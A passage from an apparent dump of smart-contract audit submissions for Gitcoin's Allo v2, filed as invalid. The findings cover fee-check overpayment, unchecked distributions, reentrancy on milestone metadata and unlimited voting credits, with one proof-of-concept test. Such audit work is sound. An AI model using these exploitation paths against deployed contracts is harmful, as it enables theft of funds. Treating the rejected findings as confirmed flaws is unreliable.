33.91ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Impact\nIt will cause loss of funds to the creators every time a pool is created\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C1-L475C14](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C1-L475C14)\n\n```solidity\nfile: Allo.sol\n// inside the _createPool() function\n \n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n--> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { //@audit it reverts when the baseFee is paid. It expects more than the baseFee\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange this:\n```solidity\n if (baseFee > 0) {\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { \n revert NOT_ENOUGH_FUNDS();\n }\n }\n```\n\nTo this:\n```solidity\n if (baseFee > 0) {\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) { \n revert NOT_ENOUGH_FUNDS();\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/743.md"}} +{"title":"A user needs to pay additional fee when creating a new Pool","severity":"info","body":"Polished Cyan Porpoise\n\nmedium\n\n# A user needs to pay additional fee when creating a new Pool\n\nPayment of additional fee than the `baseFee` for pool Creation \n\n## Vulnerability Detail\n\n\nProtocol can collect a fee amount for creation of a pool and it is , \n\n```bash\n/// @notice Fee Allo charges for all pools on creation\n uint256 internal baseFee;\n```\n\nthe logic is ,\n\n```js\n if (baseFee > 0) {\n \n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n```\nSo if the user send exact `baseFee` amount it will result in revert and user is required to pay additional amount for the protocol than the baseFee Amount \n\n** POC ** \n\n```diff\n//Consider this test case uses the given test template and no proxy Contract is used, \n\n _allo_.initialize(\n _registry, // _registry\n allo_treasury(), // _treasury\n 1e16, // _percentFee\n+ 1e16 // _baseFee\n );\n\nfunction test_With_No_Base_Fee_Pay() public {\n address[] memory poolManagers = new address[](1);\n poolManagers[0] = address(1);\n address admin = pool_admin();\n address alloAddress = address(allo());\n vm.deal( alloAddress, 1 ether);\n vm.deal(address(admin) , 1 ether);\n console.log(\"Pool_Admin_Native_Balance :\" ,address(admin).balance);\n console.log(\"Allo balance Before: \" , address(alloAddress).balance);\n vm.prank(admin);\n+ allo().createPoolWithCustomStrategy{value: 1e16 + 1 wei }(poolProfile_id(), address(st), \"0x\", NATIVE, 0, metadata, poolManagers);\n console.log(\"Allo balance After: \" , address(alloAddress).balance);\n\n }\n//LOGS\n Pool_Admin_Native_Balance : 1000000000000000000\n Allo balance Before: 1000000000000000000\n Allo balance After: 1000000000000000001 // we paid additional 1 wei ,And the baseFee transferred in to the treasury \n\n```\n\n\n## Impact\n\nA user need to pay additional fee when creating a new pool \n\n## Code Snippet\n```js\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider , \n\n```diff\n \n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/740.md"}} +{"title":"anyone can clime the allocated funds","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# anyone can clime the allocated funds\nin the contract **DonationVotingMerkleDistributionVaultStrategy** the function clime missis a check which lead for anyone to clime the allocated token\n## Vulnerability Detail\nin the contract **DonationVotingMerkleDistributionVaultStrategy** the function clime is used to clime the allocated token and in the code comment it says `/// @dev Uses the merkle root to verify the claims. Allocation must have ended to claim.` but there is no check against it so a malicious user can change the **recipient.recipientAddress** by re registering the **recipientid** with a recipientAddress of its own address\n## Impact\nloss of fund \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70\n## Tool used\n\nManual Review\n\n## Recommendation\nverify the clime with a markelproof","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/735.md"}} +{"title":"Anchor would not be able to hold soulbound NFTs as expected","severity":"info","body":"Bright Midnight Chipmunk\n\nhigh\n\n# Anchor would not be able to hold soulbound NFTs as expected\n\nAnchor would not be able to hold soul-bound NFTs as expected\n\n## Vulnerability Detail\n\nProject documentation states that one of the possible uses of the `Anchor` contract is to act as a holder of soul-bounded tokens - https://docs.allo.gitcoin.co/project-registry/anchors#anchors\n\nMost of the soul-bound tokens are extensions of the ERC721 or ERC1155, for example [ERC5633](https://eips.ethereum.org/EIPS/eip-5633) or [ERC5484](https://eips.ethereum.org/EIPS/eip-5484).\n\nHowever, the `Anchor` contract lacks the implementation of the `onERC721Received()` and `onERC1155Received()` functions, which means that it would not be able to receive such tokens.\n\n## Impact\n\nAnchor would not be able to hold soul-bound NFTs as expected.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L27\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding `onERC721Received()` and `onERC1155Received()` functions to the `Anchor` contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/731.md"}} +{"title":"`DonationVotingMerkleDistributionBaseStrategy` strategy contract: funds are distributed for any recipient","severity":"info","body":"Bumpy Charcoal Squid\n\nhigh\n\n# `DonationVotingMerkleDistributionBaseStrategy` strategy contract: funds are distributed for any recipient\n\n`DonationVotingMerkleDistributionBaseStrategy` strategy contract: funds are distributed for any recipient as there's no check on the status of the recipient if `Accepted`\n\n## Vulnerability Detail\n\n- In all strategy contracts in general: the recipient is eligible for receiving allocations & distributed funds if his status is set to `Accepted`.\n\n- In `DonationVotingMerkleDistributionBaseStrategy` contract : the recipient status is set to `Pending` upon registration (via `_registerRecipient` function):\n\n [DonationVotingMerkleDistributionBaseStrategy::\\_registerRecipient/ L582-L600](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L582-L600)\n\n ```solidity\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n\n recipientsCounter++;\n } else {\n if (currentStatus == uint8(Status.Accepted)) {\n // recipient updating accepted application\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n } else if (currentStatus == uint8(Status.Rejected)) {\n // recipient updating rejected application\n _setRecipientStatus(recipientId, uint8(Status.Appealed));\n }\n emit UpdatedRegistration(recipientId, _data, _sender, _getUintRecipientStatus(recipientId));\n }\n ```\n\n- As can be seen, the status is first changed from `None` ==> `Pending` upon the first registration,\n then when the user re-registers again; the status is change from `Accepted` ==> `Pending` or from `Rejected` to `Appealed`.\n\n- The status of the recipient can be changed by the pool manager via `reviewRecipients` function; where the statuses can be set to `Accepted`.\n\n- But when the funds distribution starts (the pool manager calls `_distribute` function); all recipients sent via `Distribution` array will receive funds regardless of their status (whether being `Rejected`,`Pending` or `Appealed`) as there's no check if the recipient is eligible to receive funds (only recipients with `Accepted` status).\n\n## Impact\n\nSince any pool profile member can register themselves in the pool; they will receive funds upon distribution regardless of their status.\n\n## Code Snippet\n\n[DonationVotingMerkleDistributionBaseStrategy::\\_distribute](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L633)\n\n```solidity\n function _distribute(address[] memory, bytes memory _data, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n {\n if (!distributionStarted) {\n distributionStarted = true;\n }\n\n // Decode the '_data' to get the distributions\n Distribution[] memory distributions = abi.decode(_data, (Distribution[]));\n uint256 length = distributions.length;\n\n // Loop through the distributions and distribute the funds\n for (uint256 i; i < length;) {\n _distributeSingle(distributions[i]);\n unchecked {\n i++;\n }\n }\n\n // Emit that the batch payout was successful\n emit BatchPayoutSuccessful(_sender);\n }\n```\n\n[DonationVotingMerkleDistributionBaseStrategy::\\_setRecipientStatus](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L805-L814)\n\n```solidity\n function _setRecipientStatus(address _recipientId, uint256 _status) internal {\n // Get the row index, column index and current row\n (uint256 rowIndex, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n // Calculate the 'newRow'\n uint256 newRow = currentRow & ~(15 << colIndex);\n\n // Add the status to the mapping\n statusesBitMap[rowIndex] = newRow | (_status << colIndex);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIn `_distribute` function : check the recipient status before funds distribution (should be `Accepted`).","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/728.md"}} +{"title":"`RFPSimpleStrategy::_distribute` function: rejected milestones can be executed","severity":"info","body":"Bumpy Charcoal Squid\n\nhigh\n\n# `RFPSimpleStrategy::_distribute` function: rejected milestones can be executed\n\n`RFPSimpleStrategy::_distribute` function: rejected milestones can be executed\n\n## Vulnerability Detail\n\n- In `RFPSimpleStrategy` strategy contract: the pool manager can set a list of milestones of payments to be distributed to the selected accepted recipient (`acceptedRecipientId`) later, and this operation can be done only once via `setMilestones` function.\n\n- The `acceptedRecipientId` can submit a milestone: in order to get the next milestone payment when this milestone is distributed; and this sets the milestone status from `None` to `Pending`.\n\n- Then the pool manager can either reject the submitted milestone by calling `rejectMilestone` function where it sets the status of the milestone from `Pending` to `Rejected`; or can leave the status as it is (`Pending`).\n\n- But when the `_duistribute` function is called for the nextMilestone; it doesn't check if the status of the milestone is **Rejected**.\n\n## Impact\n\nSo this will result in distributing the **Rejected** milestone payment for the accepted recipient.\n\n## Code Snippet\n\n[RFPSimpleStrategy::submitUpcomingMilestone function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271)\n\n```solidity\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\n\n[RFPSimpleStrategy::rejectMilestone function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283-L290)\n\n```solidity\n function rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n }\n```\n\n[RFPSimpleStrategy::\\_distribute function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450)\n\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck the milestone status before distribution; if it's set to `Rejected`, then `_distribute` function won't execute this milestone and moves to the next one for execution, and add a mechanism to enable executing the `Rejected` milestones again when their statuses are updated (impelemnt another mechanism to update the milestone statuses by the pool manager).","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/727.md"}} +{"title":"RFP strategy malicious recipient can undermine metadata by reentrancy","severity":"info","body":"Boxy Clay Ladybug\n\nhigh\n\n# RFP strategy malicious recipient can undermine metadata by reentrancy\nA malicious recipient can submit a milestone with metadata and counterfeit the metadata during `_distribute()` disabling the managers from rejecting the milestone. \n## Vulnerability Detail\nAn accepted recipient can execute `submitUpcomingMilestone(Metadata calldata _metadata)` and provide metadata for the upcoming milestone, if the owner / managers of the pool are not pleased with the provided metadata `rejectMilestone(uint256 _milestoneId)` can be executed to Reject the milestone and wait for another submit with different metadata. The issue here is that a malicious recipient can submit a milestone with proper metadata, however, when `_distribute()` is called to finalize the milestone `milestone.milestoneStatus = Status.Accepted;` & `upcomingMilestone++;` are called after the funds transfer to the recipient - at the moment of funds transfer (if `Native` token) the recipient can reenter `submitUpcomingMilestone(Metadata calldata _metadata)` and change the metadata for the same milestone that is being distributed thus disabling the admin / managers from acting upon the change in metadata.\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n //code ....\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n## Impact\nMalicious metadata can be injected during distribution of a milestone\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nManual Review\n\n## Recommendation\nFollow the Check-Effects-Interactions pattern.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/726.md"}} +{"title":"`DonationVotingMerkleDistributionBaseStrategy::_distribute` function : No check if `merkleRoot` is set or not, which will disable distributions","severity":"info","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `DonationVotingMerkleDistributionBaseStrategy::_distribute` function : No check if `merkleRoot` is set or not, which will disable distributions\n\n`DonationVotingMerkleDistributionBaseStrategy::_distribute` function : No check if `merkleRoot` is set or not, which will disable distributions\n\n## Vulnerability Detail\n\n- `DonationVotingMerkleDistributionBaseStrategy::_distribute` function is meant to enable pool manager from distributing funds to the intended recipients.\n\n- `merkleRoot` should be set before calling `distribute` in order to distribute funds; then funds is distributed for each recipient individually by `_distributeSingle` function; where the ditribution is validated that it hasn't been executed before and the distribution merkleProof is verified by `_validateDistribution` function.\n\n- But if the `merkleRoot` hasn't been set and the pool manager called `_distribute` function with an empty `Distributions` array; the `_distribute` function will not revert but the `distributionStarted` will be updated to `true`; **and since there's no check on the `Distributions` array length if it's > 0; the for-loop will be bypassed** :\n\n [DonationVotingMerkleDistributionBaseStrategy::\\_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L615-L617)\n\n ```solidity\n if (!distributionStarted) {\n distributionStarted = true;\n }\n ```\n\n- So when the pool manager attempts to set the `merkleRoot` via `updateDistribution` function; it will revert since the `distributionStarted` is set previously to true: \n [DonationVotingMerkleDistributionBaseStrategy::updateDistribution](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L429)\n\n ```solidity\n if (distributionStarted) {\n revert INVALID();\n }\n ```\n\n- And if the `merkleRoot` is not set; then no distributions will be made as the function will revert when validating the distributions.\n\n## Impact\n\nThis will disable the distribution functionality of the pool; so the intended recipients will not be able to receive their funds.\n\n## Code Snippet\n\n[DonationVotingMerkleDistributionBaseStrategy::\\_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L615-L617)\n\n```solidity\n if (!distributionStarted) {\n distributionStarted = true;\n }\n```\n\n[DonationVotingMerkleDistributionBaseStrategy::updateDistribution](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L429)\n\n```solidity\n if (distributionStarted) {\n revert INVALID();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate `_distribute` function to check if the `merkleRoot` has been set to proceed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/723.md"}} +{"title":"`_createPool` in `Allo.sol` is forcing the users to pay more fees in native tokens than it should","severity":"info","body":"Cheery Cedar Gecko\n\nhigh\n\n# `_createPool` in `Allo.sol` is forcing the users to pay more fees in native tokens than it should\nIn the `_createPool` function, in the case where the `baseFee` is greater than 0, the user needs to pay the `baseFee` in native token to the `treasury`, but as the code is written right now, it is forcing the users to pay more native tokens than it should, tokens which will remain in the contract until the owner get them back. \n## Vulnerability Detail\nAs you can see in the `_createPool` after multiple actions, it checks if the `baseFee` variable is set and if it is greater than 0, then it uses that value to pay the fees to the treasury in the native token \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n, but the way the `if` statement is written, it forces the users to pay more native tokens than it should. As it says in the comments the `if` statement was used to prevent paying the `baseFee` from the Allo contract \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L470\nbut the `if` statement enforces that the `msg.value` must be always greater than the `baseFee` or `baseFee` + `amount` \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\nto not revert, so because of that the users need to always provide more native tokens than it needs in reality, surplus that is not transferred and remains in the contract. This thing can be seen as a hidden tax beside the `baseFee` and the `precentFee` paid by the users already, which is disadvantageous for the users.\n## Impact\nImpact is a high one since it forces the users to pay more funds than it should, beside the `baseFee` and `precentFee`, funds which will be lost from their perspective, even if the owner can retrieve them from the contract.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of using `>=` in the `if` statement, use just `>` , in that way the users can provide exactly the specific amount of fee it needs to be paid, which will also prevent paying `baseFee` from the Allo contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/722.md"}} +{"title":"`Allo::_createPool` function: users are not refunded the extra native tokens (eth) when creating new pools","severity":"info","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `Allo::_createPool` function: users are not refunded the extra native tokens (eth) when creating new pools\n\n`Allo::_createPool` function: users are not refunded the extra native tokens (eth) when creating new pools\n\n## Vulnerability Detail\n\n- In `Allo::_createPool` : profile owners/members can create pools to receive and distribute funds.\n\n- For each pool created; a `baseFee` is paid in native tokens to the treasury address.\n\n- A check is made on the sent `msg.value` to ensure that the baseFee is accounted for in `msg.value` \n [Allo::\\_createPool/L473-L474](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473-L474):\n ```solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n ```\n- But as can be seen, if the user sends a `msg.value` **equals** to the `baseFee` or `baseFee+amount` if the pool token is not the native token; the function will revert!\n\n- But if the sender sends a `msg.value` **greater than** the `baseFee` or `baseFee+amount` if the pool token is not the native token; the pool will be created and the extra sent ethers will not be refunded back to the caller.\n\n## Impact\n\nPool creators will not be refunded the extra sent ethers when creating pools.\n\n## Code Snippet\n\n[Allo::\\_createPool/L473-L474](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473-L474):\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate `Allo::_createPool` function to revert if the sent `msg.value` != `amount` or != `amount`+`baseFee`:\n\n```diff\n- L473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n L474: revert NOT_ENOUGH_FUNDS();\n+ L473: if ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/721.md"}} +{"title":"Creating a pool with baseFee can revert if amount is set to correct value.","severity":"info","body":"Festive Brick Kitten\n\nmedium\n\n# Creating a pool with baseFee can revert if amount is set to correct value.\n\nWhen creating a pool and there is a `baseFee` to be paid, it can revert if the amount is set correctly.\n\n## Vulnerability Detail\n\nin the `createPool` function there can be a baseFee, which is to be charged. This is done in the NATIVE token. As the `_transferAmountFrom` function is checking against the `msg.value` for the transferred amount only. To account for the case if the pool token is the native token there is a check for the `msg.value` to be greater than the amount and baseFee. \n\n```solidity \n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n```\n \nHowever this check is also reverting if the `msg.value` is set to the exact right amount.\n\n## Impact\n\nCreatePool Transaction is reverting even if the correct amount is set.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the check for the revert from `>=` to `>`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/720.md"}} +{"title":"Allocation logic in `QVSimpleStrategy.sol` contract allows an allocator to infinitely allocate voice credits","severity":"info","body":"Scruffy Taupe Orca\n\nhigh\n\n# Allocation logic in `QVSimpleStrategy.sol` contract allows an allocator to infinitely allocate voice credits\nAllocation logic in `QVSimpleStrategy.sol` contract allows an allocator to infinitely allocate voice credits without any decrements or limits, bypassing the intended limit set by `maxVoiceCreditsPerAllocator`.\n\n## Vulnerability Detail\nThe current implementation of allocation logic in `QVSimpleStrategy.sol` contract lacks the mechanism to decrement or update the `voiceCredits` of an `Allocator` after they've allocated votes to recipients. Specifically, after the allocation process in `_qv_allocate`, the allocator's total voice credits (`voiceCredits`) remain unchanged, leading to the potential for unchecked and unlimited allocations.\n\n## Impact\nThis vulnerability can lead to an allocator having an undue influence in the allocation process, allocating an unbounded number of voice credits. It defeats the purpose of having a max limit per allocator and can compromise the fairness and integrity of the vote allocation system.\n\nI think that the impact should be `High`, because the vulnerability leads to:\n- `Unlimited Influence`\n- `Integrity of the System`: Quadratic voting is designed to reflect the preferences of the group in a balanced way. If one participant can allocate without limits, it violates the fundamental principles of the system and can skew outcomes heavily in favor of a particular recipient or a set of recipients.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n\n## Tool used\nManual Review\n\n## Recommendation\n\nIt's crucial to implement a mechanism that decrements the `voiceCredits` of the `Allocator` after they allocate their votes. This can be done directly in the `_qv_allocate` function:\n\n1. Decrement `_allocator.voiceCredits` by the amount `_voiceCreditsToAllocate` after votes have been allocated.\n2. Implement checks to ensure that an allocator cannot allocate more voice credits than they have remaining.\n\nBy ensuring that each allocation decrements the allocator's available voice credits, we can uphold the integrity and fairness of the allocation system.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/715.md"}} +{"title":"In `Registry.sol`, `createProfile()` does not ensure unique nonce thereby generating same `profileId`","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# In `Registry.sol`, `createProfile()` does not ensure unique nonce thereby generating same `profileId`\nIn `Registry.sol`, `createProfile()` does not ensure unique nonce thereby generating same `profileId`\n\n## Vulnerability Detail\n## Impact\n\nIn `Registry.sol`, `createProfile()` is used to create the new profiles.\n\n```Solidity\nFile: contracts/core/Registry.sol\n\n function createProfile(\n uint256 _nonce,\n string memory _name,\n Metadata memory _metadata,\n address _owner,\n address[] memory _members\n ) external returns (bytes32) {\n // Generate a profile ID using a nonce and the msg.sender\n>> bytes32 profileId = _generateProfileId(_nonce);\n\n // Make sure the nonce is available\n if (profilesById[profileId].anchor != address(0)) revert NONCE_NOT_AVAILABLE();\n\n // Make sure the owner is not the zero address\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Create a new Profile instance, also generates the anchor address\n Profile memory profile = Profile({\n id: profileId,\n nonce: _nonce,\n name: _name,\n metadata: _metadata,\n owner: _owner,\n anchor: _generateAnchor(profileId, _name)\n });\n\n profilesById[profileId] = profile;\n anchorToProfileId[profile.anchor] = profileId;\n\n\n // some code\n\n\n }\n```\n\nThe nonce passed while generating the 